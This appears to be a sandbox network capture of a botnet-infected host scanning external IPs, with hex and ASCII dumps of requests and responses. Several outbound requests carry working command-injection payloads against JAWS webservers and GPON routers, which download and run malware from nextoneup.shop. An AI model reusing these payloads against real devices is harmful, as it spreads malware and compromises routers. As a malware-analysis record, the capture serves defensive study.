Apr 14, 2024 04:01:36.212762117 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1566 Date: Sun, 14 Apr 2024 02:01:36 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixe
Apr 14, 2024 04:01:36.212783098 CEST	456	IN	Data Raw: 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f Data Ascii: l-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.co

Session ID	Source IP	Source Port	Destination IP	Destination Port
2002	192.168.2.13	60144	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.000349998 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:38Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2003	192.168.2.13	51750	66.102.1.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.114586115 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.736161947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:38.148829937 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1566 Date: Sun, 14 Apr 2024 02:01:38 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixe
Apr 14, 2024 04:01:38.148863077 CEST	456	IN	Data Raw: 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f Data Ascii: l-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.co

Session ID	Source IP	Source Port	Destination IP	Destination Port
2004	192.168.2.13	38970	42.108.140.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.290708065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2005	192.168.2.13	34184	117.149.117.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.290734053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2006	192.168.2.13	60160	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.335325956 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2007	192.168.2.13	60164	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.361624956 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:39Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2008	192.168.2.13	47080	154.22.44.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.404011011 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.630302906 CEST	1289	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Sun, 14 Apr 2024 01:46:24 GMT Content-Type: text/html Content-Length: 3263 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 0a 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff;}
Apr 14, 2024 04:01:36.630358934 CEST	1289	IN	Data Raw: 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 20 64 61 Data Ascii: /* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-ser
Apr 14, 2024 04:01:36.630527973 CEST	927	IN	Data Raw: 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 20 3c 70 3e 3c 62 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 62 3e 3c 2f 70 3e 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 20 20 3c 70 3e 53 6f 6d 65 20 61 73 70 65 63 74 20 6f 66 20 74 68 65 20 72 65 71 Data Ascii: ote id="error"> <p><b>Invalid URL</b></p> </blockquote> <p>Some aspect of the requested URL is incorrect.</p> <p>Some possible problems are:</p> <ul> <li><p>Missing or incorrect access protocol (should be <q>http://</q> or similar)</p></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2009	192.168.2.13	41320	69.16.209.2	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.413072109 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
